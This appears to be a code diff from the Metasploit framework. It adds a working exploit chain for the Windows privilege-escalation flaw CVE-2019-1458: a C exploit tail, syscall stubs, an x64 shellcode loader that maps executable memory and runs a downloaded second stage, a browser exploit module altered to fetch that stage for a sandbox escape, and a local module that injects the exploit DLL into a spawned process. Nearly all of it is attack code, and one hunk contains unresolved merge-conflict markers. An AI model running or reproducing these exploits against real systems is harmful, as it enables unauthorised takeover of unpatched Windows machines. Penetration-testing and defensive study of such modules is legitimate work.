DestroyWindow(hwnd);
g_hwnd = 0;
DestroyWindow(sploitWnd);
UnregisterClass(CLASS_NAME, 0);
UnregisterClass(L"SploitWnd", 0);
return 0;
}
else
{
dprintf("[!] Exploit fail, test:0x%p,tagWND:0x%p, error:0x%lx\n", testtagWND, tagWND, GetLastError());
return -1;
}
}

View File

@ -0,0 +1,22 @@
_TEXT SEGMENT
EXTERNDEF g_NtUserDefSetText_syscall:dword
EXTERNDEF g_NtUserMessageCall_syscall:dword
PUBLIC NtUserMessageCall
NtUserMessageCall PROC
mov r10, rcx
mov eax, g_NtUserMessageCall_syscall
syscall
ret
NtUserMessageCall ENDP
PUBLIC NtUserDefSetText
NtUserDefSetText PROC
mov r10, rcx
mov eax, g_NtUserDefSetText_syscall
syscall
ret
NtUserDefSetText ENDP
_TEXT ENDS
END

View File

@ -0,0 +1,83 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/x64/block_api'
module Msf
###
#
# Windows ARCH_X64 loader
#
###
module Payload::Windows::AddrLoader_x64
include Msf::Payload::Windows
include Msf::Payload::Windows::BlockApi_x64
#
# Generate and compile the loader
#
def generate_loader
combined_asm = %Q^
cld ; Clear the direction flag.
and rsp, ~0xF ; Ensure RSP is 16 byte aligned
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop rbp
#{asm_block_loader}
^
loader = Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
offset_size = loader.index("AAAAAAAA")
offset_addr = loader.index("BBBBBBBB")
[ loader, offset_addr, offset_size ]
end
def asm_block_loader
asm = %Q^
call after_len ; Call after_addr, this pushes the length onto the stack
db 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41
after_len:
pop rsi ; RSI = len
mov rsi, [rsi]
mov esi, esi ; only use the lower-order 32 bits for the size
push 0x40 ;
pop r9 ; PAGE_EXECUTE_READWRITE
push 0x1000 ;
pop r8 ; MEM_COMMIT
mov rdx, rsi ; the newly recieved second stage length.
xor rcx, rcx ; NULL as we dont care where the allocation is.
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
mov rbx, rax ; rbx = our new memory address for the new stage
mov r15, rax ; save the address so we can jump into it later
call after_addr ; Call after_addr, this pushes the address onto the stack.
db 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42
after_addr:
pop rdi ; EDI = addr
mov rdi, [rdi]
copy_memory:
mov rdx, [rdi]
mov [rbx], rdx
add rbx, 8
add rdi, 8
sub rsi, 8
test rsi,rsi
jnz copy_memory
execute_stage:
jmp r15 ; dive into the stored stage address
^
asm
end
end
end

View File

@ -3,10 +3,15 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/payload/windows/x64/addr_loader'
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Post::File
include Msf::Exploit::Remote::HttpServer
include Msf::Payload::Windows::AddrLoader_x64
include Msf::Payload::Windows::ReflectiveDllInject_x64
def initialize(info = {})
super(update_info(info,
@ -34,11 +39,32 @@ class MetasploitModule < Msf::Exploit::Remote
'Arch' => [ ARCH_X64 ],
'Platform' => ['windows', 'osx'],
'DefaultTarget' => 0,
<<<<<<< HEAD
'Targets' => [ [ 'Automatic', { } ] ],
'DisclosureDate' => '2018-09-25'))
=======
'Targets' => [
[
'No sandbox escape (--no-sandbox)', {}
],
[
'Windows 7 (x64) sandbox escape via CVE-2019-1458',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
}
],
],
'DisclosureDate' => 'Sep 25 2018'))
>>>>>>> ac475f646f... add sandbox escape as a target
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
])
deregister_options('DLL')
end
def library_path
File.join(Msf::Config.data_directory, "exploits", "CVE-2019-1458", "exploit.dll")
end
def on_request_uri(cli, request)
@ -50,9 +76,59 @@ class MetasploitModule < Msf::Exploit::Remote
end
print_status("Sending #{request.uri} to #{request['User-Agent']}")
download_payload = ''
shellcode = payload.encoded
uripath = datastore['URIPATH'] || get_resource
uripath += '/' unless uripath.end_with? '/'
jscript = %Q^
let shellcode = new Uint8Array([#{Rex::Text::to_num(payload.encoded)}]);
if target.name.end_with?('CVE-2019-1458')
if request.uri.to_s.end_with?('/payload')
loader_data = stage_payload
pidx = loader_data.index('PAYLOAD:')
if pidx
loader_data[pidx, payload.encoded.length] = payload.encoded
end
loader_data = loader_data + "\0" * (0x20000 - loader_data.length)
send_response(cli, loader_data, {'Content-Type' => 'application/octet-stream', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
print_good("Sent stage2 exploit (#{loader_data.length.to_s(16)} bytes)")
end
loader = generate_loader
shellcode = loader[0]
shellcode_addr_offset = loader[1]
shellcode_size_offset = loader[2]
download_payload = <<-JS
var req = new XMLHttpRequest();
req.open('GET', '#{uripath}payload', false);
req.overrideMimeType('text/plain; charset=x-user-defined');
req.send(null);
if (req.status != 200) {
return;
}
let payload_size = req.responseText.length;
let payload_array = new ArrayBuffer(payload_size);
let payload8 = new Uint8Array(payload_array);
for (let i = 0; i < req.responseText.length; i++) {
payload8[i] = req.responseText.charCodeAt(i) & 0xff;
}
let payload_array_mem_addr = memory.addrof(payload_array) + 0x20n;
let payload_array_addr = memory.readPtr(payload_array_mem_addr);
print('payload addr: 0x' + payload_array_addr.toString(16));
uint64View[0] = payload_array_addr;
for (let i = 0; i < 8; i++) {
shellcode[#{loader[1]} + i] = uint8View[i];
}
for (let i = 0; i < 4; i++) {
shellcode[#{loader[2]} + i] = (payload_size>>(8*i)) & 0xff;
}
for (let i = 4; i < 8; i++) {
shellcode[#{loader[2]} + i] = 0;
}
JS
end
jscript = <<~JS
let shellcode = new Uint8Array([#{Rex::Text::to_num(shellcode)}]);
let ab = new ArrayBuffer(8);
let floatView = new Float64Array(ab);
@ -233,7 +309,7 @@ function pwn() {
]);
return new WebAssembly.Instance(new WebAssembly.Module(buffer),{});
}
#{download_payload}
let wasm_instance = get_wasm_instance();
let wasm_addr = memory.addrof(wasm_instance);
print("wasm_addr @ " + hex(wasm_addr));
@ -250,7 +326,7 @@ function pwn() {
let div_addr = memory.addrof(div);
print('div_addr @ ' + hex(div_addr));
let el_addr = memory.readPtr(div_addr + 0x20n);
print('el_addr @ ' + hex(div_addr));
print('el_addr @ ' + hex(el_addr));
fake_vtab_u64.fill(wasm_rwx_addr, 6, 10);
memory.writePtr(el_addr, fake_vtab_addr);
@ -267,16 +343,17 @@ function pwn() {
}
pwn();
^
JS
if datastore['DEBUG_EXPLOIT']
debugjs = %Q^
debugjs = <<~JS
print = function(arg) {
var request = new XMLHttpRequest();
request.open("POST", "/print", false);
request.send("" + arg);
};
^
JS
jscript = "#{debugjs}#{jscript}"
else
jscript.gsub!(/\/\/.*$/, '') # strip comments

View File

@ -0,0 +1,125 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/post/file'
require 'msf/core/exploit/exe'
require 'msf/core/post/windows/priv'
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Post::Windows::Priv
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
include Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Windows NtUserMessageCall Local Privilege Elevation',
'Description' => %q{
CVE-2019-1458
},
'License' => MSF_LICENSE,
'Author' =>
[
'piotrflorczyk', # poc
'unamer', # exploit
'timwr', # msf module
],
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'Targets' =>
[
['Windows 7 x64', { 'Arch' => ARCH_X64 }]
],
'Notes' =>
{
'Stability' => [ CRASH_OS_RESTARTS, ],
'Reliability' => [ UNRELIABLE_SESSION, ]
},
'References' =>
[
['CVE', '2019-1458'],
['URL', 'https://github.com/unamer/CVE-2019-1458'],
['URL', 'https://github.com/piotrflorczyk/cve-2019-1458_POC'],
['URL', 'https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/'],
],
'DisclosureDate' => 'Dec 10 2019',
'DefaultTarget' => 0
)
)
register_options([
OptString.new('PROCESS', [true, 'Name of process to spawn and inject dll into.', 'notepad.exe'])
])
end
def setup_process
process_name = datastore['PROCESS']
begin
print_status("Launching #{process_name} to host the exploit...")
launch_process = client.sys.process.execute(process_name, nil, 'Hidden' => false)
process = client.sys.process.open(launch_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Sandboxes could not allow to create a new process
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_error('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
process
end
def check
sysinfo_value = sysinfo['OS']
if sysinfo_value !~ /windows/i
# Non-Windows systems are definitely not affected.
return CheckCode::Safe
end
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
vprint_status("Windows Build Number = #{build_num}")
# see https://docs.microsoft.com/en-us/windows/release-information/
# unless sysinfo_value =~ /7/ && (build_num >= 7600 && build_num <= 7601)
# print_error('The exploit only supports Windows 7 versions 7600 and 7601')
# return CheckCode::Safe
# end
path = expand_path('%WINDIR%\\system32\\win32k.sys')
major, minor, build, revision, brand = file_version(path)
# return CheckCode::Safe if revision >= 24387
CheckCode::Appears
end
def exploit
super
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
if sysinfo['Architecture'] != ARCH_X64
fail_with(Failure::NoTarget, 'Running against 32-bit systems is not supported')
end
process = setup_process
library_data = exploit_data('CVE-2019-1458', 'exploit.dll')
print_status("Injecting exploit into #{process.pid} ...")
exploit_mem, offset = inject_dll_data_into_process(process, library_data)
print_status("Exploit injected. Injecting payload into #{process.pid}...")
encoded_payload = payload.encoded
payload_mem = inject_into_process(process, [encoded_payload.length].pack('I<') + encoded_payload)
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Payload injected. Executing exploit...')
process.thread.create(exploit_mem + offset, payload_mem)
end
end